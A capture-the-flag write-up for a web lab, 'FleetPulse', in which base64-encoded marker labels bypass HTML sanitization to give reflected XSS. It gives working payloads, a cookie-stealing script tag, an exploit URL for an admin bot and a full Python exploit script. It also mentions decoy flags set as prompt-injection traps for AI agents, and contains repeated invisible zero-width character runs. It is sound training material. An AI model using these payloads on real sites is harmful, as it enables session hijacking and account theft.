← Back to Writeups
CUSTOMMediumWeb

Lab 207 — FleetPulse — Reflected XSS via Base64 Bypass

XESXOR9/10/20264 min read
#web#custom#medium#admin_bot_exploitation#base64_encoded_xss_injection#protobuf_parameter_injection#same_origin_exfiltration#xss_auditor_bypass_via_encodin

Lab 207 — FleetPulse — Reflected XSS via Base64 Bypass

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-20 | Status: Solved Techniques: admin_bot_exploitation, base64_encoded_xss_injection, protobuf_parameter_injection, same_origin_exfiltration, xss_auditor_bypass_via_encoding

Summary

Task: Fleet management app with protobuf-like URL encoding for map state; base64 field type (!4z) bypasses HTML sanitization applied to string type (!4s). Solution: Encode XSS payload as base64 in !4z field, submit crafted URL to admin bot via /map/report, exfiltrate admin cookie via same-origin /api/feedback POST.

Lab 207 — FleetPulse — Reflected XSS via Base64 Bypass — HackAdvisor

Description

FleetPulse is a fleet management platform used by Meridian Logistics to track vehicles, plan routes, and monitor driver performance in real-time. The platform features an interactive map view where fleet managers can visualize vehicle positions, set custom waypoints, and share map views with team members. The map system uses a compact protobuf-like wire format to encode location data, markers, and overlays into URL parameters for easy sharing. Fleet managers regularly share map view links internally, and an administrator reviews reported map issues to verify data accuracy. Your goal is to find and exploit a vulnerability in the map data encoding system that allows arbitrary code execution in a victim's browser. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A fleet management web application encodes map state (coordinates, markers, overlays) in URL parameters using a custom protobuf-like wire format. The marker label field supports both sanitized string (!4s) and unsanitized base64 (!4z) encoding types. An admin bot visits URLs submitted via a map issue report form. The goal is to achieve XSS in the admin's browser and exfiltrate their session cookie.

Credentials: user@test.com / password123

Analysis

Application Structure

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application is built on Express.js (Node.js) with the following key endpoints:

EndpointPurpose
/mapInteractive map view (Leaflet.js) with pb URL parameter
/map/reportSubmit URLs for admin bot review (must start with http://localhost:8080/)
/api/feedbackJSON API — GET to read, POST to create feedback entries

The application sets X-XSS-Protection: 1; mode=block header, and every page contains decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden HTML divs and comments as prompt injection traps. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Wire Format

The pb URL parameter uses a protobuf-like wire format documented in /js/map.js:

!field_num type value

Field reference:

  • !1d<lat> — center latitude (double)
  • !2d<lng> — center longitude (double)
  • !3i<zoom> — zoom level (integer)
  • !4s<label> — marker label (string, sanitized)
  • !4z<base64> — marker label (base64-encoded string, NOT sanitized)
  • !5d<lat> — marker latitude (double)
  • !6d<lng> — marker longitude (double)
  • !7s<title> — overlay title (string)
  • !8s<style> — map style identifier (string) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

The critical difference between !4s and !4z:

  • !4s<html> — HTML is sanitized/stripped before insertion into the DOM
  • !4z<base64> — base64 is decoded and inserted raw into the HTML

This means base64-encoded HTML/JavaScript in the !4z field results in unsanitized DOM injection:

!4z<base64_of_payload> → <div class="fp-marker-label"><decoded_html></div>

The base64 encoding also bypasses the X-XSS-Protection auditor, which compares raw URL content against response content — the URL contains only base64 characters, not the actual <script> tag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Verify HTML Injection via Base64

Test with <img src=x onerror=alert(1)> encoded as base64:

Base64: PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
URL: /map?pb=!1d40.7128!2d-74.006!3i12!4zPGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

The response contains raw HTML injection:

html
<div class="fp-marker-label"><img src=x onerror=alert(1)></div>

Step 2: Craft Cookie Exfiltration Payload

Since the admin bot cannot reach external hosts (webhook.site, interact server), exfiltration must use a same-origin endpoint. The /api/feedback POST API is perfect for this. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

XSS payload (147 bytes — divisible by 3 to avoid = padding in base64):

html
<script>fetch('/api/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({message:document.cookie})})</script> 

Note the trailing space to make the payload exactly 147 bytes.

Base64 encoded:

PHNjcmlwdD5mZXRjaCgnL2FwaS9mZWVkYmFjaycse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHttZXNzYWdlOmRvY3VtZW50LmNvb2tpZX0pfSk8L3NjcmlwdD4g

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Build and Submit Exploit URL

Full exploit URL submitted to /map/report:

http://localhost:8080/map?pb=!1d40.7128!2d-74.006!3i12!4zPHNjcmlwdD5mZXRjaCgnL2FwaS9mZWVkYmFjaycse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHttZXNzYWdlOmRvY3VtZW50LmNvb2tpZX0pfSk8L3NjcmlwdD4g

Step 4: Retrieve the Flag

After the admin bot visited the crafted URL, the injected <script> executed in the admin's authenticated browser context, POSTing document.cookie to /api/feedback. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reading back via GET /api/feedback:

json
{"id": 5, "message": "session_token=FLAG{REDACTED}"}
python
#!/usr/bin/env python3
"""FleetPulse — Reflected XSS via Base64 Bypass exploit"""
import requests
import base64
import time
import urllib.parse

BASE = "https://062af509-85d1-4043-a7dc-e1be18b54627.labs.hackadvisor.io"

# Login
s = requests.Session()
s.post(f"{BASE}/login", data={"email": "user@test.com", "password": "password123"})

# XSS payload — trailing space makes it 147 bytes (divisible by 3, no base64 padding)
payload = (
    "<script>fetch('/api/feedback',{method:'POST',headers:{'Content-Type':"
    "'application/json'},body:JSON.stringify({message:document.cookie})})"
    "</script> "
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Encode as base64 and URL-encode
b64 = base64.b64encode(payload.encode()).decode()
b64_safe = urllib.parse.quote(b64, safe='')

# Build exploit URL (must use localhost:8080 for admin bot)
exploit_url = f"http://localhost:8080/map?pb=!1d40.7128!2d-74.006!3i12!4z{b64_safe}"

# Submit report for admin bot to visit
r = s.post(f"{BASE}/map/report", json={"url": exploit_url, "reason": "Map data issue"})
print(f"Report submitted: {r.status_code}")

# Wait for admin bot to visit
print("Waiting for admin bot...")
time.sleep(30)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Read exfiltrated data
feedback = s.get(f"{BASE}/api/feedback").json()
for entry in feedback:
    msg = entry.get("message", "")
    if "FLAG{" in msg or "session_token" in msg:
        print(f"FLAG found: {msg}")
        break
else:
    print(f"Latest feedback: {feedback}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍